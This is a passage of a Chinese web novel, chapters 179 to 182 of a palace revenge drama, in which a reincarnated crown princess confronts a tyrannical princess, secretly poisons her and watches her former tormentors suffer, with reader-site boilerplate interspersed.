那个骑着快马疾驰而过的明艳红衣女子重新打马返回,“你个贱民,哪来的胆子,居然敢公然在大街上吓得本公主的烈焰受惊?” 马儿似乎惊魂未定。 在红衣女子说话间,一双血肉模糊还带着薄茧且指关节略微变形的手在马儿不安的扭动下甩到了沈慕兮面前。 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第179章 是时候要收割本金了 沈慕兮本来看到那团血肉模糊的东西只是震惊。 然而,那双手... 沈慕兮不久前才握过。 即使上面糊满了鲜血,沈慕兮还是一眼认了出来。 范珊!! 她猛然抬头看向还跨坐在马上的人。 一双眼眸里的,是完全压不住的情绪起伏。 “怎么?不服?” 二公主傅咏絮第一次被人用敌意这么浓烈的目光注视。 一时之间,竟然起了兴趣。 “还是说,你想像刚才那个贱民异样,冲撞了本公主的烈焰,给本公主留下一双手?” “你把刚才剁了手的人,如何了?” 沈慕兮只觉得自己的声音像是卡在胸膛的位置,每说出一个字,都是钻心的疼。 如果这个公主真的剁了范珊的手,那么,范珊很大可能已经遭遇不测... 偏偏范珊,是她在半路拦截前来京都的... 她的原意,本是不想让范珊重新深陷泥潭... 一些在街道上摆摊的百姓,早已在看到傅咏絮差点将沈慕兮掀翻在地的时候,已经开始纷纷收拾东西悄悄溜走。 一时之间,街道空了一大半。 沈慕兮只觉得大脑一片空白。 逐渐布满红血丝的眼眸,死死瞪着傅咏絮。 仿佛下一刻,就要上前掐死她。 直到一条皮鞭扬起一个圆满的弧度带着猎猎鞭风挥到沈慕兮面前。 夏蝉动作极快,迅速抓住了那一根即将划到沈慕兮面前的皮鞭。 之后用力一拽。 傅咏絮没想到自己眼中的“贱民”居然敢如此胆大包天,一时不察,竟整个人直直就要往地上栽。 “公主!!” 一个身穿粉色衣裳,梳着丫鬟双螺髻的丫鬟大惊失色,飞快上前垫在地上。 傅咏絮摔下马的惯性太大,一下子将丫鬟压得吐了血。 反观从马上摔下来的人,仅仅只是乱了一点发丝。 几乎就在同时,一大队金吾卫训练有素地小跑而来,将包括沈慕兮以及傅咏絮在内的几人团团围住,大有要拦下沈慕兮护住傅咏絮的姿态。 “都瞎了吗?给本宫打死这个贱民。” 傅咏絮在另外一个丫鬟的搀扶下站起来,恨不得将沈慕兮扒皮拆骨。 “还不动手?” 其中一个像是金吾卫首领的年轻男子战战兢兢上前,“公主请息怒,这是南渊太子妃,动不得。” 听到金吾卫首领的话,傅咏絮脸上的神色微微一僵,随后目光重新停留在沈慕兮的脸上。 像是在确认什么。 好一会才敛去了那副视众生为蝼蚁的模样。 “原来是你。” 她的模样更加轻蔑了。 沈慕兮这时才逐渐找回自己的理智,心中抱有侥幸,暗暗提醒自己,那双手不一定是范珊的。 范珊离开的时候,还有暗卫乔装的车夫护送... 如是几次自我安慰,沈慕兮竟真的完全冷静了下来。 就在这时,傅咏絮又开口了。 “南渊太子遇刺,你倒是有这个闲心出来瞎逛。” 她的语气之中还带了几分咬牙切齿的意味。 沈慕兮满心都是对范珊的担忧,不想与她纠缠。 “既然是一场误会,那便散了吧。” 夏蝉在沈慕兮的示意下将手中马鞭归还到金吾卫首领手上。 金吾卫首领朝夏蝉道谢过后,扬手让金吾卫给她们让出了一条道。 沈慕兮急切想要回去知道范珊的下落。 才刚要抬腿离开。 就被傅咏絮叫住了,“南渊太子妃,难得相遇一场,你就打算这样走了?” 她收起了马鞭,不情不愿地开口。 不然呢? 沈慕兮脱口而出的反问硬是在看到金吾卫重新围上来的时候改了口,“不知公主有何吩咐?” 纵然慕容景衍跟她说天塌下来可以拉着显王顶着。 可眼下还不知道这双手是不是范珊。 慕容景衍也不在京都,再加上荣郡王府那里鸡飞狗跳,她只想着收割荣郡王府,不想节外生枝。 傅咏絮显然把一切都不放在眼里,扬起脑袋傲慢开口,“本宫能开口留住你,是你的造化,别给脸不要脸。” 沈慕兮虽搞不明白这个不讨喜的公主葫芦里面卖什么药。 但全身上下已做好了戒备。 “姑娘,小心有诈...” 夏蝉在沈慕兮耳边低声提醒。 沈慕兮轻轻朝夏蝉颔首。 这次前来南渊出使,沿途慕容景衍给她提起过这个二公主傅咏絮。 传言,当今北宸圣上傅元怀因为年轻时候太过荒唐,导致子息单薄。 膝下七个孩儿,除了二公主傅柳絮能活到十八,就剩下教养在皇后膝下、如今只有两岁的五皇子。 因为孩子少,付柳絮几乎被傅元怀捧在手心上。 只要是她看上的,就没有听她得不到的。 而她能够让慕容景衍提起,就是以内她的跋扈暴虐。 单单只是三年前她棒打鸳鸯强硬嫁给当朝已有未婚妻的探花郎,不到一年又将探花郎用极度残忍的手段虐杀这件事,足以让其他朝堂震惊。 这章没有结束,请点击下一页继续阅读!换做是其他国家的公主,莫说强嫁探花郎、虐杀探花郎,单单棒打鸳鸯强硬拆散人家未婚夫妻这一条,足以让其身败名裂。 偏偏在北宸这里,傅元怀却依旧我行我素,哪怕弹劾奏折堆积如山,都只是一笑而过。 甚至为了保护傅咏絮的安全,特地给她指派了一支金吾卫... 这次才见第一面就要请她喝茶,而且还是在差点被她鞭子抽了一下之后、知道她的身份,才开口发出的邀约。 沈慕兮自然要做好所有能做的准备。 一个连新婚丈夫都可以虐杀的女人,她不认为,对方会真的诚心诚意地跟她好好坐下沟通。 眼看沈慕兮没有再反驳。 傅咏絮撂下一句“带她去城西”,之后重新翻身上马,策马狂奔离去。 金吾卫的首领似乎十分为难,“太子妃,得罪了。” 沈慕兮抿唇,没有说话。 浩浩荡荡一行人,一同去了城西。 公主府就位于京都城西。 可那些人却没有将她带到公主府内,而是将她带到了与公主府后花园相连的另外一处花台水榭。 花台水榭位于湖中央,只有一条路可以进出。 沈慕兮进去水榭后,连夏蝉都被拦在了水榭外。 还没等沈慕兮落座,傅咏絮满眼敌意地看向沈慕兮,“你,当真是慕容景衍的妻子?” 她不是问是不是太子妃。 而是直接问,是不是慕容景衍的妻子。 沈慕兮心中隐隐有了猜测,依旧不卑不亢地点头,“正是。” 傅咏絮讥诮的冷哼一声,“你配不上他,若是识趣,你乖乖离开她,本宫倒是可以给你送几个面首,保你可以欲仙欲死。” 什么? 沈慕兮看向傅咏絮,仿佛在确认说话的是不是人... 性格残暴跋扈也就算了,这会居然还公然说出这样的话。 她是对自己的身份没有认知,还是觉得,不管自己闯下了多大的祸,那个当皇帝的爹都能给她兜底? 沈慕兮的脸色蓦然阴沉了下来。 “公主说笑了,这个玩笑,一点都不好笑。” 似是耐心已经告罄,她重新站了起来,“姑且不说,这是对我南渊的不尊重,只要是正常人,都说不出来这样的话,若是公主不愿意好好与我沟通交流,那这个小叙,我看也没有必要了?” “大胆,居然敢这样说我家公主,不要命了吗?” 她的话音才落下,傅咏絮还没开口,她身边的另一个丫鬟杜鹃就先跳脚了,“你以为你是什么东西,我们公主现在好好跟你说话,是看得上你,别敬酒不喝喝罚酒。” “你北宸儿郎都死绝了吗?就非得盯着人家的有妇之夫?”沈慕兮不甘示弱。 忍无可忍,她不想再忍了。 若是来别人家做客都这么窝囊,那还来个屁。 一顿输出之后,她毫不留情地要甩袖而去。 傅咏絮从没被人这么忤逆过,一时之间,怒火也是蹭蹭往上涨。 “你...你个不知天高地厚的贱人,居然敢诅咒我北宸儿郎,我若是不给你一点教训,你永远长不了记性。” “来人,帮本宫拦下这个贱人。” 似是看到傅咏絮动了真格,金吾卫首领连忙上前劝说,“公主,冷静,冷静,这是南渊的太子妃,也是南渊使节,教训不得啊。若是让陛下知道,回头又要心疼您的名声...” 听到首领提起当今圣上,傅咏絮脸上的神色总算有了松动。 她轻咬下唇,眼底写满了不甘——该死的,慕容景衍为什么就是南渊太子呢? 看着眼前这个自称是慕容景衍妻子的女子脸上一副淡漠模样,真是碍眼至极。 越想越不甘心,傅咏絮上前几步,抬手就要给沈慕兮一巴掌。 她的速度太快,完全出乎所有人的意料。 金吾卫首领更是出言喝止,“公主,不可!!” 沈慕兮全程都紧绷神经,生怕傅咏絮会突然发难。 没想到,还真让她猜中了。 她轻巧躲开了傅咏絮的巴掌。 期间,傅咏絮的指甲还勾住了沈慕兮的肩膀位置的衣裳,拉出了好长一根蚕丝。 倏地,傅咏絮只闻到一阵异香扑鼻,又迅速被风吹散。 沈慕兮后退了几步,与她保持五步距离,脸色已经彻底阴沉下来了。 “北宸的待客之道,本太子妃已经领略到了,你们趁着殿下昏迷对我做的事情,等殿下醒来,我会一一告知,再看看你北宸国君,如何给本太子妃交代。” 她的一番话,说得义愤填膺,整个人身上散发着一股生人勿近的狠劲与威严。 一时之间,竟真的震慑住了金吾卫。 沈慕兮离开,没人敢再阻拦。 “你们这群背主的东西,本宫被欺负成这样,你们居然都还在无动于衷?” 下人护卫们,个个噤若寒蝉。 傅咏絮还在不停用鞭子抽打距离她最近的丫鬟护卫。 精美的茶具被鞭子抽落一地。 杜鹃小心翼翼地上前劝说。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“公主莫要生气...” “啪——” 一记响亮的耳光抽在了杜鹃脸上,连带在她的脸上留下了一个极深极细的伤口。 一开始伤口只是沁出血珠,很快血珠就汇聚在一起,变成一条细线,紧接着,鲜血泊泊流出。 杜鹃连忙跪在地上低着头,半句不敢吭声。 “连一个女人都拦不下,一群废物。”傅咏絮怒骂完一种金吾卫,怒气冲冲地带头往公主府的方向而去,“回府。” ... 公主府。 才刚踏入府中,傅咏絮的肚子就绞痛起来。 杜鹃顾不得还在渗血的右脸,急忙吩咐下人,“快,快去请太医。” 几乎就在同时,一声绵长的放屁声响彻了整个公主府。 伴随着“啪啦啪啦”的声音,一股奇怪的异味迅速散开。 傅咏絮脸色剧变,咬牙切齿瞪向循声看过来的下人,“看什么?信不信本宫挖了你们的眼睛?还不去备水?” 下人们纷纷噤若寒蝉,各忙各的。 太医来得匆忙,甚至连药箱都还没来得及放下就被拖了去给傅咏絮问诊。 “公主殿下这是不小心错食寒凉的东西,回头喝点姜茶就好了。” 确认傅咏絮并无大碍,所有人都松了一口气。 “肯定是那个下贱的女人,污了本宫的眼。” 傅咏絮躺在床上,恨恨开口。 话音刚落,她的肚子又是一阵绞痛。 “恭桶呢?” 几个粗使婆子,连忙将恭桶抬入她的专属茅房中。 又是一场带有味道的天塌地陷。 ... 傍晚时分。 公主府下午发生的事情比贺鸿打听回来关于范珊的消息更早传入沈慕兮的耳中。 当她听到傅咏絮把一切的过错都推到她身上时。 她冷冷一笑,不再说话。 傅咏絮身上的毒,若是一般庸医,只以为是普通受寒而让她喝姜茶。 可她不知道,喝下第一口姜茶的那一刻,她体内的毒就会慢慢转化成为慢性要命的毒。 中毒者,会越来越虚弱,且让人找不到原因。 这是在她不知道范珊生死之前,决定给她下的毒。 若是范珊无事,她会让傅咏絮安安稳稳,一直做病秧子。 若是那双手真的是范珊的,那么... 她就应该要学着老荣郡王妃那样去死了。 想到荣郡王府,沈慕兮唤来了夏蝉。 “最近苏府的近况如何了?” “苏柳溪被虞悦希吓到了,因为答应了顾时要带他去寻假苏勇。 顾时大发慈悲地给她找了刘大夫为虞悦希看病,刘大夫给出了虞悦希所中的毒跟虞悦希的毒是一样的时候,苏柳溪整个人都不好了。 不仅变得疯兮兮的,嘴里还时不时地喃喃自语,说不要来索命之类的话...” 沈慕兮冷笑,“之前我就说过,要回去索她的命,她不信,非得要挨痛了才知道死心。” 说着,她起身往屋里走。 夏蝉连忙跟上。 “现在还未到就寝时间,姑娘这是累了吗?” “不,换个衣裳,去荣郡王府看看要不要提前给苏柳溪解脱。” 苏柳溪当时虐杀了她,虞悦希虐杀她的筱筱。 她心里还憋着一口怨气呢。 既然利息收得差不多,那么,也是时候要收割本金了。 ... 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第180章 贱人尔敢? 荣郡王府后院。 以柴房为中心,一路之外五丈远,都弥漫着一股呛人的臭气。 臭气闻多了,身上还容易起疹子。 守在那里的下人,基本都以湿帕子捂住了口鼻。 路过的下人,更是步履匆匆地摒息经过。 一时之间,柴房内就只有被关押在里面的苏柳溪跟虞悦希。 苏柳溪靠坐在东南角,虞悦希像一团烂肉一样躺在西北角,苍蝇嗡嗡直叫,缭绕在她的身上,赶也赶不走。 要不是身上还有微弱的呼吸起伏,只怕早已让人一眼看过去以为是一具尸体。 “笃笃——” 两下小小的敲门声之后,窗外进来了一个蒙着黑色面巾的男人。 男人体格高壮,与之前的模样既然不同。 唯有看向苏柳溪的目光,带了几分怜惜。 他怜惜的眼神,在看到虞悦希的那一刻,瞬间转为愤怒。 来人正是本来早就该死的苏勇。 在回疆巫女的帮助下,他在被顾时削掉手臂那个千钧一发的时刻捡回了一条命。 却也没了那个让他用得极为顺手的躯体。 如今这副身躯,他还是适应了好一段时间才适应上。 没想到,才刚适应没多久就听到了苏府出事以及虞悦希中毒的消息。 他几乎连休息都没有休息就马不停蹄地来了荣郡王府。 “到底是怎么回事?” 苏柳溪前一刻还在喃喃自语,听到男人的声音以后,涣散的视线才逐渐聚拢。 “老王妃死了,悦悦也快死了...我们都得死...” 苏勇死里逃生,根本听不得这样的话,连语气也极为恶劣。 “你在胡说八道些什么?” 之前他还在养伤期,恰逢在她带人寻他的那段时间转移了,他可以不计较。 但是现在,她究竟知不道知道他出来见她一趟,需要冒多大的风险? 眼看虞悦希像是什么都听不到一样。 苏勇双拳紧握,终是缓缓开口,“苏府要废了。” 简单几个字。 成功组织了苏柳溪像是疯魔一样的呢喃。 她缓缓抬头,透过凌乱的发丝,看到了一张陌生又熟悉的脸。 脸可以千变万化。 可是,眼神永远都是这个熟悉的眼神。 “都是你...” 她像疯了一样飞扑向苏勇,奈何脚上被锁了锁链,硬生生停在了苏勇面前两步之遥。 “要不是因为你,苏府就不会趟进回疆这趟浑水,也就不会有后面的事情发生...” 动作太大,锁链发出了清脆的响声。 苏康不悦地皱眉,“你冷静一点,要是引来了荣郡王府的侍卫,到时候你想走都走不了。” “走?” 苏柳溪讽刺一笑,凉凉看向苏康。 “我还能去哪? 苏府没了,虞府也没了,连你都像一条丧家之犬到处东躲西藏,你说我能去哪?苏府的人需要你的时候,你又在哪?” 原以为,她攀上了顾时,坐上荣郡王妃这个位置,该有的一切都会有,谁能想到。 一切不幸的开端,就是因为她坐上了荣郡王妃这个位置。 顾时在娶了她以后,心生后悔。 眼前人跟苏府的关系,在她嫁给顾时以后,一下子变得剑拔弩张。 被关进柴房后,她甚至觉得,所有的死路,都是自己对他心软走出来的。 若非对他心软,为了他口中所谓的大业... 不知道苏柳溪的哪句话误触了苏勇的心房,苏勇竟难得心虚地别开脑袋,“我会为他们复仇。” “晚了。” 苏柳溪冷笑咬紧了后槽牙。 两行清泪在她布满脏污的脸上,洗刷出一条雪白的痕迹。 “柳溪村两天前已经被灭了,你的人,你之前囤下来的兵器,已经全部落在顾时手上。” 话音刚落,她的脖子传来一阵剧痛,一只大手毫不留情地掐上了她的脖子。 “贱人尔敢?” 苏勇手上青筋暴突。 一双眼眸通红,迸发凶光,仿佛下一刻就要将她的脖子拧断。 苏柳溪眼底漾出了快意的笑意。 “你有本事就掐死我,否则,我会把你所有的一切全都抖搂出去。” “你...” “怎么?不敢,还是有那个自信,觉得我不会或者没有能力这么做?在你眼里,我跟悦悦,就像是一只猫一只狗一样,随时可以被你厌弃,不是吗?” 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第181章 难道,你就不想得到南渊太子妃? 纵然脸色涨得通红。 她眼底的讥诮却是明晃晃地毫不掩饰,一下子刺痛了“苏康”的双眼。 他仿佛被烫到了一样甩开了苏柳溪,“简直胡言乱语。” 对于苏柳溪,他是有感情的。 否则也不会允许她生下他的孩子。 可是奈何,他身负重任... 咬牙强迫自己不再看苏柳溪,“苏康”强行让自己把注意力放在虞悦希身上。 纵然早已做好了心理准备,他还是被虞悦希现在的惨状吓到了。 以前那个不知道他与他的真实关系,看到他就热情上前喊她“小舅舅”的小姑娘,此时一张小脸像是被开水烫过要融化一样。 只那么一眼,冲击力已经大得他不得不移开眼睛。 “我会想办法,让悦悦的身体恢复。” 他几乎是脱口而出向苏柳溪作保证。 说出那番话的时候,他心里已经在默默盘算其他事情。 苏柳溪不知道苏康心中所想,又恢复了刚才理智不正常的模样。 “已经药石无灵,救不救又有什么区别?” 她边笑边开口,笑着笑着,眼泪从她的眼角流了出来,又自己用指腹拭了去。 “当初悦悦,拔了小贱人的指甲,现在是她的报应;很快,我的报应要来了,你的报应也快来了。” 沈慕兮要回来索命了。 当初苏勇,可是当着好几个人的面,亲自污了她的清白。 她跟悦悦好不了。 苏勇跟顾时的气数,也长不了。 曾经伤害过她们母女的,如今一个都逃不了。 她的眼神里带着未知的恐惧,竟真的让苏勇有了后脊发凉的感觉。 “你简直就在危言耸听。” 危及性命,他不再对她有耐性,并且试图用怒火掩盖心里的慌张。 “我本打算,今日前来是救你母女于水火,如今看来,大概是不必了。” “救我们于水火?之后呢?我们逃去哪?我们能逃去哪?” 对苏柳溪来说,沈慕兮如今像是变成了诅咒一样如影随形。 不管怎么逃,她都逃不掉。 反而成了每天的梦魇。 只要闭上眼睛,沈慕兮惨死的样子就历历在目。 鲜血淋漓。 像极了现在的悦悦... “你确定不走?” 苏康不耐烦的声音再次传来。 苏柳溪的眼神黯淡地垂眸。 没有再说话。 苏勇的气不打一处来,却又不敢真的对她做些什么,最后只能怒气冲冲地离开了。 苏柳溪看着苏勇离开的方向,眼底闪过一抹纠结。 很快,她的纠结就被一抹复杂的隐忍快意取代。 “很快...” 苏康的报应很快就来了。 顾时的报应也是。 他们,都会有报应。 两行浊泪再次从苏柳溪的眼角滑落。 她低声,带着些许疯癫的笑了。 她的一头青丝,以肉眼可见的方式迅速变白。 不多时,本来还柔滑细腻如同缎子一般的发丝,变成了满头毛躁白发。 沈慕兮躲在柴房的假山后,居高临下地透过柴房破了一个大洞的屋顶看清屋内一切。 看到如今苏柳溪一脸了无生趣的颓丧模样,沈慕兮只觉得意兴阑珊——她还是不够狠。 居然会对这个女人,产生了怜悯。 “您不进去补刀了?” 夏蝉有点意外沈慕兮这般干脆转身离开。 沈慕兮却轻轻笑了,“里面是什么味道,难道我还不清楚吗?” 给虞悦希用的毒,可是在当初老王妃身上毒的改良。 若是苏柳溪再放任不管,虞悦希很快就会在她面前咽气,化成一摊烂肉。 作为母亲,人生最痛,莫过于此。 她就要让苏柳溪,亲自体验一下,她做鬼时候亲眼看着女儿在自己面前咽气时候却无能为力的绝望。 至于其他的... 在剜心刮髓的绝望之痛面前,又算得了什么? 夏蝉还想说些什么,抬眸看到沈慕兮已经走远,她硬是将自己到嘴边的话咽了回去。 罢了。 殿下临走前交代过,只要姑娘开心就好。 她大步追上沈慕兮。 下一刻,就听到了沈慕兮的吩咐安排,“继续让人盯着这对母女,另外,让人跟上苏勇,苏柳溪这次能够将他引来而不被荣郡王府的人发现,我想,顾时肯定也有动作,你们的人在办事的时候,注意不要打草惊蛇了。” 不管沈慕兮如何安排,夏蝉能做的,就是十分干脆地应下。“是。” 回到行宫别苑。 将一切安排妥当之后,夏蝉在回廊下发现沈慕兮正在靠着回廊下的朱漆廊柱发呆,一脸心事重重。 不由得故作轻松地走到沈慕兮面前开口,“姑娘在想什么呢?难道是今日看到苏柳溪的惨状,开始动恻隐之心?” “怎么可能?” 沈慕兮回神就听到夏蝉在妄自猜测自己如今心中所想,不由得笑了。 垂眸看向自己细嫩的双手,眼底一片凉薄,“我只是觉得...” 这章没有结束,请点击下一页继续阅读!话到一半,沈慕兮又没了声音。 夏蝉试探性地开口,“姑娘是在怀疑她刚才说的话?不相信人之将死其言也善?” “善?” 听到夏蝉说出这个字,沈慕兮像是听到了什么笑话。 先是轻笑一声,紧接着,笑声越来越大。 就在夏蝉以为自己是不是说错话的时候,沈慕兮终于停住了笑声。 “你知道吗?” 夏蝉不解地看向沈慕兮,静静等待下文。 后者眼底的嘲讽明显异常。 “有些人,即使在临死前,还在想着怎么骗人,这叫死性不改。你看到她这样很可怜,难道,死在她手上的人就不可怜了吗?” 说到后面,她因为语气激动,连声音都拔高了。 “她那不是悔改,只是单纯地怕死,怕去到阴曹地府受磋磨,所以,想要通过这样愚蠢却聊胜于无的方式去弥补。” 看到她这样,夏蝉的嘴唇动了动,终是什么话都不敢问出口。 也不知道是不是她的错觉。 她总觉得... 沈姑娘似乎与荣郡王府的人,有着什么深仇大恨... 就在这时,别苑周围传来了异动。 慕容景衍带走了一部分心腹。 部分侍卫安排在主院保护“昏迷中的慕容景衍”,不敢轻举妄动。 因而只有护着沈慕兮的暗卫前往追向异动方向,夏蝉跟在沈慕兮身边。 两个蒙面黑衣刺客悄无声息从屋顶落下,夏蝉来不及带沈慕兮离开,连忙上前与黑衣人缠斗。 沈慕兮迅速后退,双手紧紧捏着衣袖中的药粉,生怕自己会拖了夏蝉的后腿。 就在她全部精力都落在夏蝉身上时,一双大手毫不留情地捂住了她的口鼻。 对方甚至还能预判她的行为,将她扬起药粉的手紧紧握住。 沈慕兮想要呼救,嘴里吭不出半点声音。 所幸,对方似乎没有打算伤害她。 只是一路捂着她的嘴将她拖到了别苑的一处废弃院落之后,便松开了捂住她嘴巴的手。 得了自由,沈慕兮第一反应就是朝对方扬手想要挥出手上药粉... “太子妃,是我。” 看清来人,沈慕兮的神色很快从最开始的一脸冷色变成了错愕。 “顾...大人?” 不怪沈慕兮错愕。 只因此时的顾时跟沈慕兮印象之中的模样相比,判若两人。 眼前人不再是之前那副谦谦君子的模样。 虽说发束玉冠,可新长出来的乌黑发根与先前变白了的发丝分庭抗礼,形成鲜明的对比。 向来明亮的眼睛,不知道什么时候,变得浑浊不堪。 如今的他,看上去又老又年轻。 沈慕兮需要眯起眼睛才能直视他,连带语气也带了几分轻蔑和不耐。 “顾大人的圣贤书没有教过顾大人去别人府上之前要先送拜帖?” 顾时像是没有发现沈慕兮的对自己的厌恶,一双眼眸,目光灼灼地看向她。 “太子妃为何不先问问自己,今日到我荣郡王府也不递拜帖?” 那带了审视以及隐忍深情的眼神,一直在沈慕兮身上徘徊,惹来沈慕兮一阵恶寒。 刚想要打岔蒙混过关,又听到顾时开口,“从你出现在荣郡王府盯紧苏柳溪的时候,我就知道你来了,慕慕...” 称呼一出口,沈慕兮嘴角的笑容僵硬了一下,很快就恢复如常。 “王爷说笑了,本太子妃只是与丫鬟不小心迷了路误闯了荣郡王府后院。 看热闹也是人的天性,看完热闹就走,再正常不过。 王爷若是想要在当时留住我主仆二人,简直易如反掌。 可王爷没有。 如今,我们已经回来了行宫别苑。 说到底,我们是客,若是王爷要在这种时候纠缠不休,我南渊的侍卫,也不是吃素的。” 沈慕兮刻意强调了自己的来历身份。 “慕慕。” 顾时双目通红,神色隐忍,似是一腔深情难以托付,连说话的声音都带着颤抖。 “你就是慕慕,刚才在你看向苏柳溪母女的时候,眼底充满了仇恨。 若你不是真的慕慕,那你的仇恨又是从哪里来?” 顾时始终相信,世上不会有无缘无故的爱,以及无缘无故的恨。 如果这个南渊太子妃,真的如同太子所说,与他青梅竹马,自小一同生活在南渊。 而苏柳溪却一直生活在北宸,风马牛不相及的二人,又怎么可能结仇? 再结合在南渊太子妃身上的熟悉感... 顾时的感性再次战胜理智,大步上前就要抓住沈慕兮的手。 没想到他才刚触碰到沈慕兮的衣袖就被沈慕兮一把甩开了。 “顾时。” 沈慕兮眼神定定地看向顾时。 幽深的目光对上他带着心虚却无比浑浊的眼神,轻嗤一声,“有没有一种可能,我与沈慕兮认识,但是,我真的不是她?” 顾时摇头,像是抓住以后一根救命稻草一般上前想要抓住沈慕兮。 沈慕兮再次后退一步。 这章没有结束,请点击下一页继续阅读!“退一万步来讲,顾时。” 她满脸认真地看向对方,“假如我真的是你口中那个‘慕慕’,你觉得,我会跟一个变相害死我的人,像以前一样心无旁骛地生活吗?” 她的话一出口,顾时脸上的血色尽褪。 整个人看上去煞白煞白的。 “顾时,沈慕兮失踪的那些日子,你自己做了什么事,你心中有数。” “若要人不知,除非己莫为。” “追风是怎么死的,书音是怎么死的,你闭上眼睛的时候,难道就不会想起这些被你害死的人?” 她轻撩发丝,声音又轻又柔,仿佛在谈论天气一般云淡风轻。 顾时听不见任何声音,满眼都是她轻撩发丝的动作——这是慕慕撩发丝的时候固有的动作。 一时之间,他激动得连声音都在颤抖,“你...你真的是...” “是不是重要吗?你已经害死过她,不是?”沈慕兮的语气依旧平淡如故。 顾时想辩解,一切都是苏柳溪母女的引导。 可是,他半个字都说不出来。 因为... 苏柳溪的名分,是他用沈慕兮在丹阳的七年换回来的。 “好了,既然话已经说开,那我就不隐瞒了,”似是没有看出顾时的纠结,沈慕兮挺直了腰板,看向顾时的时候,毫不掩饰自己的厌恶,“你的猜测,对了一半,没对另一半,我与沈慕兮是故交。” 说话到一半,她特地停顿下来,看了顾时一眼,“你应该知道,什么是故交。” 不等顾时开口,沈慕兮已经抢在他说话之前开口了,“我们来自同一个地方,我是她的妹妹,亲生的。” 强调完“亲生”二字以后,沈慕兮没有继续开口,而是饶有兴致地欣赏顾时失魂落魄的模样。 猜也猜到,顾时肯定还会死性不改来纠缠不休。 但是,如今苏柳溪跟虞悦希母女的报应就在眼前,苏勇与顾时会影响慕容景衍的布局,在慕容景衍回来之前,沈慕兮还是会忍一下。 在隐忍期间,她要亲眼看着顾时,一点一点失去他珍重的东西。 顾时失魂落魄地站在原地。 直到沈慕兮离开,他才反应过来,想要追上去。 发现自己无论如何都迈不开步子。 心里像是穿了一个大洞。 不管怎样都填不平—— 她不是她。 她是她的妹妹... 难怪有故人之姿。 一时之间,顾时有了一种不真切的感觉。 抬眸看到刚才还在眼前的人已经完全远去,连背影都看不见。 他心里那口憋闷才像是有了宣泄口。 一口艳红的鲜血从嘴里喷涌而出。 他狼狈又无礼地以单膝支撑跪在地上,才没让自己直直倒下。 一阵清风袭来,一股香臭夹杂的异味涌向顾时的周围。 不多时。 一双以雪缎绣制的精美绣花鞋停在顾时的跟前。 “嘬嘬嘬——” 几声过后。 顾时抬眸看向来人。 傅咏絮不知道什么时候站在他的面前,一脸悲悯地看向他。 “你这是,思妻成疾了?” “你是来看笑话的?” 顾时拭去嘴角的血花,冷淡地站起身。 说起来,傅咏絮跟顾时还有极为稀薄的亲缘关系。 可偏偏,当初荣郡王府所有亲眷被流放的时候,傅咏絮还大言不惭地嘲笑荣郡王府,说荣郡王府的所作所为简直丢尽了皇室的脸面。 后来,等他回来了,她依旧瞧不上荣郡王府。 顾时自然不屑与她多言。 颤颤巍巍站起身就要走。 才走出两步,顾时的身后就传来了傅咏絮玩味的声音,“难道,你就不想得到南渊太子妃?” 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第182章 去荣郡王府 很诱人的条件。 顾时立刻停住了脚步。 “你想如何?” “很简单,”纵然被病痛折磨,傅咏絮依旧强忍身上痛楚,得意洋洋地走到顾时面前,“你帮我得到慕容景衍,我帮你得到南渊太子妃。” 她毫无遮拦的话太过惊世骇俗。 “如今还在行宫别苑,”顾时当场皱紧眉头怒斥,“他们现在是南渊使节,莫要胡来。” “南渊使节又如何?如今南渊国力远远不如我北宸,即使真的打起来,南渊也只有丢盔弃甲的份,届时我若是想要得到他,他还不是得乖乖对我摇尾乞怜?” 傅咏絮骄傲地挺起胸膛。 顾时不赞同地看向她,“如今回疆正在伺机而动,若是我们真的与南渊开战,只怕连我们也讨不得好。” “那又如何?回疆不过只是一个蛮族,我们能打南渊,自然也能打他们。” 傅咏絮信心满满。 在她看来,北宸国富民强,只要他们想打,其他国家永远只有摇尾乞怜的份。 顾时不想再理她。 转身又要走。 “难道你就不想好好弥补你之前的遗憾?” 傅咏絮气定神闲的声音再次从顾时身后传来。 他再次顿住了。 傅咏絮眼底闪过一抹即将得逞的得色,“你的荒唐事,基本上能够有点脑子的都打听到了。 姐姐的遗憾,妹妹弥补,反正都是女子,灭了灯不都一样吗?” 字里行间,都是对女子的轻视。 顾时脱口反驳,“她不是一般女子。” 她是沈慕兮的妹妹... 对于沈慕兮,顾时的内心是纠结的,遗憾的。 他甚至不明白,他们夫妻二人,为什么突然就走到了这个地步... “不管是不是一般女子,总是女人一个,”傅咏絮不在意地摆了摆手,“反正你要弥补,总要有机会。” 说到这里,她唯恐天下不乱地眯了眯眼,“而且,本宫今天可是打听到了,那个水性杨花的南渊太子妃,今日外出,好像见了一个从丹阳来的男子。” 丹阳? 顾时的眼眸骤然拢起了一层让人难以琢磨的情绪。 他太熟悉这个地方了。 “我听她说,好像要让那个男子,照顾什么...或者你回头细查一下,说不定还有意外惊喜。” 傅咏絮不怀好意地朝顾时笑了笑。 顾时此时脑子里出现的是自己之前听说南渊太子特地将女儿接来了京都,细查之下,发现那个小姑娘只是体型与筱筱有点相似,其他方面并没有半分相同。 他还以为是自己太敏感了。 正准备放弃,猝然听到傅咏絮这么一说。 他顿时燃起了希望。 丹阳... ... 傅咏絮以为自己在行宫别苑怂恿顾时的事情做得神不知鬼不觉。 实际上,在沈慕兮离开以后。 傅咏絮跟顾时二人的聊天内容,早已传入了沈慕兮耳中。 饶是知道傅咏絮暴虐且没有人性,可她的无耻程度还是让沈慕兮震惊了。 最震惊的,莫过于夏蝉。 “这二公主分明是一国公主,受万民敬仰,为何她却把万民视作蝼蚁?” 想她南渊,虽说圣上子息单薄,朝堂争斗亦是严重,可达官贵人从来不会无缘无故欺压百姓。 尤其是某些脾气比茅坑石头还臭的老臣子。 怼天怼地对空气,却也会在百姓食不果腹的时候,将自己为数不多的存粮拿去布善... 沈慕兮不知道夏蝉的想法,一脸见怪不怪的开口,“高位之人,从来不会体会百姓贫苦,他们只会觉得,压榨不了百姓的价值,就是百姓没用。” 虽然她做不了什么大的改变。 